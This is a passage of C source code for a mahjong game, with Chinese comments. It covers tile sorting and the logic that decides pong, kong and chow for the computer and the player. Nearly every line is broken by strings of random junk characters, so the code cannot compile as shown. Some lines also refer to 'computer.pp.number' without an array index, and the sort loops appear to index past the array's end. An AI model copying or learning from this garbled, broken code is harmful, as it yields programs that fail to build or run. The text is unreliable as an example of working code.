computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;# C) t! Y$ {1 n$ S( h; I, ^
computer.pp[j+1].oneorfour=u;: _+ ]+ o% n/ O' _
u=computer.pp[n].number;7 M8 C; N: b* d4 u
computer.pp[n].number=computer.pp[j+1].number;# e" @- {0 [7 r2 _6 B& }2 i
computer.pp[j+1].number=u;
) b' t3 N' v5 L- [  m}+ B; h* E" _# L+ s  s0 K4 t' n0 _
}
5 I& v  t  y, K6 i  k) T9 v}
; |; y9 Q( K: X% A7 c% @void melipai()
+ Y( {( M! H3 n{ int n,j,u;0 X: b6 E, h6 v& q( G* W
int *lingshi;9 g; @  V6 k& r, L3 @
for(n=0;n&lt;me.m;n++)
& l& w# z0 X8 U$ o9 Mfor(j=n;j&lt;me.m;j++)
& v" @4 [% h" n{( a* r" @4 t; U) J3 F
if(me.pp[n].number&gt;me.pp[j+1].number)3 F& E5 Y; B* D% p0 @  ]- E) F" t( T( @
{
* ^% U7 q& a3 S2 L! Tlingshi=me.pp[n].k;
$ |$ p9 }* k+ T% K$ A, Bme.pp[n].k=me.pp[j+1].k;
7 B7 Y( q) h; a5 Q1 N( i6 g7 @me.pp[j+1].k=lingshi;
# o: o1 _/ P5 u  i, |& Su=me.pp[n].oneorfour;
$ V$ ]* y3 P9 hme.pp[n].oneorfour=me.pp[j+1].oneorfour;
) A5 h( {& k. A2 {2 X' _  z: E2 {. v& Yme.pp[j+1].oneorfour=u;
( T- D& ~9 w: tu=me.pp[n].number;
+ A, b- {) O! j8 X. i3 ~me.pp[n].number=me.pp[j+1].number;5 w4 K/ ^: X  w6 E  ^( {6 {: B8 a7 K
me.pp[j+1].number=u;' l0 f3 _: R& V2 x# ^
}
' \3 E' P( R8 v* O2 i) b  Z3 _( Relse
: G1 J: a* u: z4 }if(me.pp[n].number==me.pp[j+1].number)  k$ ^( c( M- y4 F& h
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour): G, }' ?4 G% }1 E+ S1 `, e6 U
{
! X* X! d" i$ ^7 \2 o5 S* F- a0 Zlingshi=me.pp[n].k;
# v+ U5 }7 X7 S  n" _me.pp[n].k=me.pp[j+1].k;, L5 {) J% K6 f. F! P
me.pp[j+1].k=lingshi;0 U5 D6 O/ p* k7 t
u=me.pp[n].oneorfour;/ ^& o6 c2 {0 L: q2 }# Z
me.pp[n].oneorfour=me.pp[j+1].oneorfour;6 \, G" |) T' {+ o! o* B
me.pp[j+1].oneorfour=u;
" P4 X6 W9 Y7 k9 ^- `! ]7 f+ j3 Cu=me.pp[n].number;- s3 t- v; X# X# u, X
me.pp[n].number=me.pp[j+1].number;8 a! d3 K! V8 k1 V. ~- ~
me.pp[j+1].number=u;3 p; U. N; W7 a% [3 @" t
}
1 I" R' Q/ [: @: H  V) t}
, g. D, X( g5 @4 U+ F5 W. G; S}
* ?2 u% o! M+ a" gvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/- K3 U+ {" C9 m" @7 v$ g
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;# T) u( O5 {9 v1 e/ H/ C
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0); E8 ?/ Y7 L6 p1 t
{
3 E; }3 h# d; |: Z1 \0 wlogo=1;
2 P: R7 O' N. W1 A$ A) zif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
" \8 {; l9 {: Alogoo=1;
4 Z* E3 G% A& [, |else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)' r; E/ L4 H% W* y) H; s# \
logoo=2;3 q/ y% t3 p/ h) u! H
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
5 t+ v( [- B. J% M, D4 k( hlogoo=3;; w4 @; w0 k7 Q& y. ?% F
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
  J7 ~: y* w, j+ J& Ylogoo=4;
3 O; K- M( x, V9 M% Helse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)3 X! ?; k" j% `4 c5 j# x3 ~5 n
logoo=5;; p7 E) O' R- O( O$ o# Y
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)& r$ X, j7 ^7 H. x
logoo=6;, C& E8 k4 A6 T3 Y' {# H
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)! Y* a! ?% X6 R0 K$ A* g5 @
logoo=7;- R& R3 ~& k% [/ _6 u; j. q4 j. S, g; ~; f
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28). b7 G9 d  r" `5 S! i7 O& {5 D/ Q
logoo=8;: l0 J& ]' }' R6 z
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
, z1 ?7 m: T) `2 r8 Q# w! zlogoo=9;' k) S8 x: z: d' ~+ H- g# U
}
" W- {6 y$ M+ xelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)1 w+ ]/ s5 k, X; P3 ]( {
{
/ t$ `2 K. L+ k1 X/ V( O/ g# Zlogo=2;: v( b6 h$ e! ]2 v" w
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
5 f' V, t3 O5 W$ H9 D' p' L2 Plogoo=1;( _5 p0 J9 f% j# }5 r
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
: Q+ m0 k: O+ h0 Y+ T) H+ clogoo=2;; ^8 I* u2 O% Y: c6 C2 a# \7 S7 @
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)6 {' A- y  E. ^  {- w$ W# {3 r
logoo=3;, A/ d2 d/ c* V& {8 }& n9 E
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)0 b3 @' g+ C4 w. H  I1 j/ W
logoo=4;$ S( F" G+ V4 j2 |3 x
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)" V# \9 E! b4 P5 L3 l4 p) Y
logoo=5;( Z" }# a- E# i+ z
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
" s% w+ e" ?* ~* ^logoo=6;
( w: f; a" B8 Lelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)2 R3 i7 Y. X2 w; r
logoo=7;) B1 A5 N3 I' g
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
9 q2 l* M* D/ Qlogoo=8;
7 P6 n* S8 ]! {' x- Eelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)% O) S$ x: F) ?6 {8 A" H
logoo=9;
+ i8 {9 \1 d$ q}
! G9 x" P- i/ a; w) `% p$ Delse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)/ S/ ~; y! b  e6 a6 {) K, @2 }) ]
{
) }5 _2 ~8 D$ O# w- Wlogo=3;
0 e2 H# r% ]9 Fif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)% f6 k" H) `4 R3 y
logoo=1;% ?7 u% G( c0 ?* [+ C- [* a3 D( b
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
1 R+ S6 _$ Z9 b% g. S  Elogoo=2;3 M- J  u/ g4 u1 i
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
: j% r1 G& X7 dlogoo=3;0 f0 a- q9 y) Y. J4 `& T- L
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
0 m4 t7 b: \6 ^. K7 {logoo=4;% s5 t5 _7 R9 ~, I
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)% N5 e! t$ L' ~& Z8 ?
logoo=5;( P4 w# Y3 X, F# a- b- K. O
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)5 S6 Q  M9 Q' a+ |' X; h# _
logoo=6;
! S: q) R3 F/ ?( {4 z& Aelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
7 i  h9 b+ D3 d$ y9 h+ zlogoo=7;
1 e" Q. ]5 `, M) D$ K6 D( A& [9 Delse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)! E# o2 U% i) v1 g9 ~' ]# @& Q5 P
logoo=8;
4 x& M5 \7 R! F# b5 f7 selse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
7 o) L- D0 [5 k7 H8 [7 n( ulogoo=9;
9 u) ^. _4 k6 D+ Q$ L& l}
  J5 Q' _3 ]2 r$ B; H" @+ m+ oelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)+ V/ `) m! ]9 L: C/ I1 S' F7 `
{  S% d+ B& {0 L, ^# P
logo=4;; X" Y9 p) o4 ?: R) ?( h" e- a
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
8 b/ E- s1 A) ]+ u) tlogoo=1;
5 P: z1 r+ f$ o" I- Relse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
, I- W* q. g! e0 c/ G9 Rlogoo=2;' B# L$ D& x8 i
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
3 H& n9 Q6 |8 T( i3 T8 v6 W# elogoo=3;# J9 N3 B3 A1 v; S
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120): p' J6 s6 y8 R1 v4 s! r- O
logoo=4;& V* p0 @. S' S; L- @8 ~
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
" I4 A! k* S+ t- K; Q2 Y2 flogoo=5;$ L* D# _$ N) p% Q- I* U- b
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)0 z" H5 Z$ `8 N2 V- }
logoo=6;
- ^) Q0 C) D# V! E' Z: F. W. ]4 Telse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)1 @# P! @: L- N) n/ M' O; a6 o
logoo=7;3 c0 v( N2 p+ W; s( P
}1 l/ p, d- j# g# B1 J' l
while(b&lt;=computer.m)
  i: f/ i, D1 E4 ~4 A; W# g{
  T" c1 c$ N8 K6 U, D; l" Z5 xif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
7 a7 `2 |0 Z& e- o8 E{
9 P& i/ e9 i/ T) ulg=1;- \+ _; R$ p& S" g
computer.pp.d[0]=1;1 \2 }( P2 {7 y* u; i/ Z. \0 Y
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
" J9 M+ t5 y) L! o5 Y{. D& V7 o0 B  z/ o# [) c& K: C/ Y
lgg=1;
# o* n+ _; R" o* T8 z0 ecomputer.pp.d[1]=1;
8 _6 y. b3 I( d2 F}) L4 s/ k  L- P/ u0 Y; E
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
, m2 g4 h7 S/ M" u- e! A: d{% F! i4 I1 p% n
lgg=2;  _4 l% f. _+ K. p
computer.pp.d[1]=2;+ v7 @/ Q, M6 E, X
}2 R9 ~: p+ v/ m5 f4 Y! T
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)5 u& h( c) p; S" Y
{# h& k! D4 [2 z  w2 O; u: U  B% {
lgg=3;  Z6 ]- l0 h9 I7 z) a! r0 J; J
computer.pp.d[1]=3;
: S- I+ G5 A( y' \* y}! K% K8 p& l& l4 ~
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12): S) l* {8 b8 N- y  V& u# J; s5 Z
{. C9 u# C9 I1 Z) [* x
lgg=4;
- e* e0 B- u6 Q- Ycomputer.pp.d[1]=4;
5 f) Y( S* c0 x$ w3 p' ^6 V}, R$ p7 j1 D8 a: M* \" F. I: ?+ F
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
4 o- w2 C& f7 o6 R8 e. Z- g{* Y( l5 p- w9 M' G5 b
lgg=5;
1 T( B8 t" u' ^; v/ n0 B; Xcomputer.pp.d[1]=5;
" U# Q' t7 K& D2 I; Q5 ], Z. q$ r" s}- k. z8 T+ \7 k4 L! ]+ {
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)1 H0 b7 y; e1 D! N8 G$ f# r
{8 ]6 Q0 u) s$ L! R# J3 f1 |
lgg=6;
5 g7 G5 O9 m; A/ r, l9 ~$ W( t- Acomputer.pp.d[1]=6;
2 d0 v. I3 B7 O/ h* M}/ N+ O. n* s- E1 P5 q
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)4 |" {) R3 ]2 Q4 R( y9 R/ c) r
{! y. T5 `* @$ W  I
lgg=7;
9 e$ }$ J8 P: w; x% ]- j4 gcomputer.pp.d[1]=7;
4 l+ c, A' P+ h  v5 {}
4 }8 k# V) \- celse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)$ v0 V" G6 n$ `- F' l
{- @2 X! G$ f  F# s( [* v
lgg=8;
9 b3 x. d# ?8 G1 j8 S& r, ocomputer.pp.d[1]=8;' n6 h9 t& w7 P; x9 _7 ^1 T/ n
}
; L- R( H& {7 nelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
5 ~- L0 ]* j' b" c& W0 J1 L- s{
" W8 y+ u% T3 [+ d. h0 ^lgg=9;
, r6 N# a) N  v9 V& p0 L0 ?computer.pp.d[1]=9;
) i3 K7 k4 T( r& k}0 c* H- A2 ^) e& y. w
}- Z. N, t# ]; h9 E9 I
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)# k+ \( v# c/ a
{! n% b. {: O6 [. x4 }$ o
lg=2;
4 o7 M) [7 I' ]! P% ]computer.pp.d[0]=2;% y) Y4 x' h! G
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
* g' B+ Y/ T0 S) v. U{
( Z( F3 ~5 v$ O8 t9 v2 qlgg=1;
+ @! f. t) y0 w. b. zcomputer.pp.d[1]=1;% n2 }9 a: F5 U+ j1 F$ I
}
0 Y  h6 q; s& c( D+ _else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
) Q( S. k+ \9 x) m: n% e, `% j# i{
; _1 {) Q6 C' g; nlgg=2;
, L0 h* m4 b/ ~: G/ ]) j* R+ wcomputer.pp.d[1]=2;
3 a4 n0 W! ?, g- s. d- P}
4 B2 {6 m3 A& G3 belse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)& J! c+ n5 Y& S# T2 h2 k- Y
{( ]) U7 w- J! m( T; k
lgg=3;2 G) x/ L, ~+ p
computer.pp.d[1]=3;
' Q7 ^# S0 P/ w" U/ r' |4 ?+ ~}
: H  z3 A% S, C0 Uelse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)" e, P3 ~5 M& @) s% [6 {1 o
{
- V  o, K% {% q$ L: ?, h- @5 @lgg=4;- F6 l8 x3 k4 j, B% T, X" }9 ^
computer.pp.d[1]=4;
3 s& h- k3 F& ^" @4 I9 l3 M9 z}
" p0 V" y3 r5 f# aelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)5 J2 ?( n: k# U$ J" E+ W; K
{5 U' X% d0 I8 x& f
lgg=5;2 w9 n# n# l  a( {* w
computer.pp.d[1]=5;
% w0 f4 Q5 ?% `}8 R* e4 y; v7 g+ v6 O8 H' L# D
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)' _, M1 g9 a) a! L) p: l; f
{
# x6 n, W( {3 [, Glgg=6;+ \2 i: L' J6 k% }. e3 r
computer.pp.d[1]=6;
/ ]% T# N9 [& J2 ]}: Y5 E- i4 J- h/ j  F. q+ ?
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)7 A. @$ L/ I& F+ G, V) l
{* K9 n! w: d/ D  y7 T& d9 _
lgg=7;
  o6 E- e8 x  Ecomputer.pp.d[1]=7;, O: X" c6 x( {  ^8 x
}
$ N2 y" v5 q, J8 Velse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
/ g; _( N8 `- F{/ q+ I) K$ Z0 |" u0 E# @) l/ T
lgg=8;* x5 ^; s) b; t7 S
computer.pp.d[1]=8;
' y. S$ a/ Y# O1 \# r}+ Z% Z5 E! O! a1 S& B1 K
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68), @7 i- S( T/ t
{
& `8 R. d, h1 v; O/ I9 m1 mlgg=9;
9 Q% m) l5 u( P: Z4 y$ Y$ l( rcomputer.pp.d[1]=9;
! T& s, W6 J* y. P$ ?* n# c. S}
' w9 l' N$ R8 D* N' H' D& g, u+ n}8 `# T* j- F( O% M" X; c6 t
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
9 U2 N) Q( l% m3 p) D+ H( V9 O{: t* I8 u; C" ?6 r0 p0 U7 T( B
lg=3;
1 \* h& Q$ G4 E, r" ~computer.pp.d[0]=3;9 z" p" l/ G/ }% o$ P; b- H6 Y
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)! |8 a& ]8 ^4 z' Y' K% P
{# l1 |% j- i! a8 T' R
lgg=1;
5 [9 B' E, A& L; o5 Tcomputer.pp.d[1]=1;7 J! Z5 i* ^# p( z/ f5 d
}
" M: p% V% r0 [else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)2 ~1 N# C. P. X; K- U
{
+ N8 v! P& t. i  \) Rlgg=2;8 p/ ]0 O) }/ {' H4 }- l
computer.pp.d[1]=2;
1 Y8 S5 j4 {, Y* M( o& O( E7 G}
7 ?" A% b3 Y# c1 R: kelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)0 {0 @6 c7 Z: E' ~6 d, f9 [4 e
{
) c0 x4 G+ y% k& @5 v+ N0 ?lgg=3;8 U7 y2 r; S% F4 @* \
computer.pp.d[1]=3;
' c: a& E3 E* p5 p( y}
. x3 u# q* _; J& pelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)- q% t' w) r( n1 Y& \! ^
{% G& L% g' |) i2 F5 M
lgg=4;4 s" Q3 j- D: ]0 [& |6 \
computer.pp.d[1]=4;  Y. N/ A% }' x$ S
}& m& L# {6 n" I, f
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
4 ~; @5 V# Q& B- ~0 D8 ?: b{  N" j6 a7 N% \- [& l
lgg=5;
* U+ G6 ?5 J8 F3 \computer.pp.d[1]=5;3 F2 x4 M; C, m
}; A% H  J6 o+ c& T2 i
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
# o6 U9 c- Z1 I1 K! h8 {{) w: c$ {6 ]4 A, b( U
lgg=6;  K) y9 N% n3 `2 K9 t9 C' M# h* {
computer.pp.d[1]=6;
3 \. L0 x0 g- N; J% q7 y+ X+ ]% Q1 X! d}
: i  d8 ^+ K' c( ~( R; H. n7 J- {7 F6 ]else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
' b/ y" H5 p" [/ m{
; ?# @6 f6 @6 c" s2 Y# dlgg=7;& m/ A* U; R5 r. ?
computer.pp.d[1]=7;
6 m8 [4 n& T" {+ j. C}
  a$ H1 J& z  a% Z# Felse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
' a  V8 F7 v3 ~) X; w' Z% w" b  B{/ M* K" ~2 ^3 L! r0 E6 d
lgg=8;
* {+ q0 e0 o6 J% wcomputer.pp.d[1]=8;; w( c, _  |2 Z) x
}& x  |, K8 p3 |, l  a( f) |
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
6 d, j! Y9 R, H1 K) l% `{; C7 f7 u& `' @; s0 ^' |6 \
lgg=9;
5 {" _- a7 f/ w2 n0 ]- X" d1 W; Zcomputer.pp.d[1]=9;
. L" M# d$ k5 y/ k) x. o! g}. R! q8 q- J6 X) l* b+ H7 k
}6 n6 X7 B, Z3 l2 u8 C8 z
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)# h6 R; C2 E* V0 o8 u
{
- C8 a7 P( O+ ulg=4;/ S# R9 [+ Y$ O) @
computer.pp.d[0]=4;
! K9 p* |2 Y/ tif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)6 t0 A4 R: m" `$ f
{
$ O7 e( G$ j. Algg=1;
% k3 Y; g" D. \1 P! r: gcomputer.pp.d[1]=1;. D, t, p# g4 G5 ?# s+ l  n" n
}
2 H$ S( H4 Q2 P* u/ Q5 Z5 ?else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)) Y4 d5 @! f# m- h0 \% v
{1 K: b$ O; C$ v; c
lgg=2;
. d, }2 _1 ?# Y5 @) `2 zcomputer.pp.d[1]=2;
/ Q4 C' Y5 T$ x* F5 O, S3 Y}
6 N3 Y) w" e$ P/ u' S3 b2 |+ jelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)1 u& o0 M# X6 Q: y( _- g
{* j4 f7 P, h; w8 e+ E3 {" ^# `
lgg=3;
! o- n6 {8 L) x* x* m1 jcomputer.pp.d[1]=3;
# _* n5 ^4 S+ v6 W' w}8 \' T# a  |0 Y, c
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
1 l2 I, ]5 k) ?( ~/ z{" P- b0 i% m; d0 D
lgg=4;
- n" E+ P( m/ W! L" Q# ?+ m+ ocomputer.pp.d[1]=4;
$ |; `/ m. a( a+ L/ v}
, L! N$ Z- H# r( h( H5 Y3 celse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)) K9 O0 \. l. E
{* A6 f9 G* J; M  ~
lgg=5;2 ~9 }3 \, s6 i8 r
computer.pp.d[1]=5;2 e( B6 E3 c+ `
}
! {8 T% S0 s! a% \else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)9 m" Q/ A$ z3 ~# P* H, y
{
& C* S+ q" O1 J9 ~+ D4 O1 glgg=6;+ a* `, S" Q) a. U
computer.pp.d[1]=6;
1 l7 O( T' F+ U0 f& K( r}
, B/ W1 v9 N4 r/ Celse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)" B' g: m0 J+ N  N( Q
{
8 d6 ?+ G, x. J" vlgg=7;. x' G1 ], ?" v* G+ i8 _4 `
computer.pp.d[1]=7;
2 M* M4 u, Z7 H. C. j}
/ O( A- A2 J. K}
9 k- F* U3 q' U; o/ x3 |) _
( c, A! m. n2 \  J3 Lif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
1 G. O3 p* y0 U' n( H+ dif(logoo==lgg)0 s7 ]( {) g$ e2 N5 _
pg++;; V" ~9 u+ k. s2 L
ch.lg=lg; /*保存电脑手里的每张牌的信息*/1 w9 A9 c, h/ L9 ?* f8 |
ch.lgg=lgg;. t% U( u6 e3 k+ N9 r+ B
lg=0;7 i3 s: }1 P% S  ]
lgg=0;2 b7 {0 O3 f6 e: f$ k/ N% i# E- r
b++;
( l2 e8 w5 e8 N9 p& W# M4 Q}) \' a- o9 S  x
if(pg==2) /*乓*/6 S5 m! z+ n* n
{
; j( H: ~0 i; T" R) r" N8 S3 |7 Y, U7 @7 K
sing=1;
& P& E+ d# U' S; z% K1 l! a& M. ob=computer.m;& _/ I) G" j/ Y
while(b!=-1)' G6 c( N" X( V3 l4 g( {% k
{
7 X  A, r) g8 _if(strcmp(me.pp[c].k,computer.pp.k)==0)
. W2 n! P5 L5 T  x, H$ b0 p$ tcomputer.pp.p=1;
7 I1 y" q; d# |* c: Z8 k
. S3 m1 @2 _) Lb--;- H7 l  H# f2 q: ^3 O; z# }
}
. R' \' {0 C1 ?) G5 w}) N1 h; R% ^8 e! p. Y0 }
if(pg==3) /*杠*/9 o! x1 w1 W6 d& Z
{
  C, y- H" B% a% N- ]% Y& R% R" z6 s! K: {* h
sing=2;# J5 f- D4 F* ~$ x6 G
b=computer.m;, x& e1 ?: v* J; R/ Y# u
while(b!=-1); s( U+ l/ `9 S* Z8 I
{
9 g3 `. M6 `6 n6 Pif(strcmp(me.pp[c].k,computer.pp.k)==0)5 `; P% R7 h% C* A1 E7 `
computer.pp.g=1;
! w9 F$ ]& k3 A8 h: O7 Yb--;( a: h  I5 b: a
}
( x+ Z& k# V9 ~, H}
) n6 ?! @7 U+ K. I4 E  q7 t" |5 Wf=0;7 Z. r4 e9 b# _; W# c/ u2 d
while(f&lt;computer.m) /*吃的判断*/
0 n+ O7 i) m1 h5 m0 H3 x' P3 e{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
, k5 @: g4 T+ d# ?/ A2 c; q{8 Y$ R% A0 m' e0 j) n
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/- h0 k, [- I/ g8 s- {  K2 @
if(ch[f].lgg-logoo==1)
1 |0 }/ B% s, x% ~7 `{: p2 y0 V6 N# U
gp++;- Z% |( U) T1 ~( n0 a: D
computer.pp[f].c=1;
& Z5 p0 R% g( G0 @8 [5 fcomputer.pp[f+1].c=1;
4 P: v+ t: O! x}
" p" E+ \4 X3 C4 D0 zif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/8 Y- h% p- ?; Y  u) x& g
if(ch[f+1].lgg-logoo==-1)6 b4 x: o  L3 b! z  G6 I
{4 F- |7 y2 @- Y$ i
gp++;& R8 t9 I: X. T+ b, j" @( j4 A
computer.pp[f].c=1;
: j4 |* \6 d5 U; Q# e# ncomputer.pp[f+1].c=1;
" X$ l8 Q( l" ^}
4 e; M' w6 @9 }) @if(ch[f].lgg-logoo==-1) /*中吃*/, H1 X# @+ o0 Z" n9 ~; W0 ^
if(ch[f+1].lgg-logoo==1)% v' C' k2 f( S2 D* {
{9 X8 r# l1 ]- G5 L
gp++;
6 M; C. P& o! d$ [' x) R4 \computer.pp[f].c=1;
8 N0 e. l9 P7 Scomputer.pp[f+1].c=1;" t- D3 `% J6 H6 l* [
}- _$ q1 x! _* h, K% B
if(gp==1)
7 _  K) J9 u! G4 m/ n' Bbreak;; y9 t* @. G; [: Z0 M
}; F! w/ ^& E4 C7 c) e
f++;
) A6 Y* v+ }; t/ z# ~3 K}
$ [: k0 \8 a9 A# }if(gp==1)# x8 O7 I. O! n  `" X/ M0 _
{sing=7;9 M* @! m. `, C

! i6 U, R! {  y0 u1 ?- e}; [# T( j2 \) h& G! L- ?
pg=0;% @" H& A  I+ x- v. _4 d
gp=0;
4 X' b8 d6 K( H% O6 A3 t, j/ q# qb=0;
/ m9 a: s4 D, F! D# l}
$ Y. t+ }6 b' j% Jvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/7 ]0 `0 ~4 _' j1 F! K) m
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;" N) |' ^1 p9 x2 ~# Q4 z
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
8 S/ n- f1 d' y0 G( G) S* m' e{+ d) c% m: Q% U# @
logo=1;' z1 y/ Q3 X/ H# G& H
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)) t  c0 ^9 X  z: Q5 O2 d- d
logoo=1;$ }  Y* |/ U7 f9 W7 o& a5 S2 D& `
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)& z8 A8 h8 M6 F6 z2 a5 u, f
logoo=2;
2 }5 v! }& |6 D! G8 g' }else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
& ^) V. c8 I/ H0 ?( [0 ulogoo=3;
% n, |! w9 a- A% |else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
; m1 i' J9 r' Ulogoo=4;: P( l3 {0 ~5 G  |" ]7 R5 U
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)4 W, G& d2 A3 b- E* ~3 G& z+ }5 U
logoo=5;
& g4 p% n) l% g& ?& [" }7 Ielse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
1 D& t& d4 R- Glogoo=6;
7 Z: S( M: N! |( l0 a9 c0 Eelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
' [+ g+ ^+ \7 U5 D' Elogoo=7;
- O2 Z( P/ [) g( |& z* h8 kelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)4 f5 n( r- q, X' |4 d
logoo=8;
8 ?+ n  ?' [4 Q& `0 ielse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
1 j2 e7 y) A- ]2 Nlogoo=9;
2 i0 I5 F$ Z: }3 }5 [2 H}- O) a) t% z, z5 u0 u) h
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)$ F& V% F. N1 u- V( B9 r$ W
{5 B3 B0 I1 ^! \% D: i0 v" Y0 H
logo=2;6 z% D, i4 e, I# y) q( Z0 O3 l
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
$ h  j$ t: [  C- p& ^) @logoo=1;6 }+ X, F1 j" C# {" w! T5 v  D
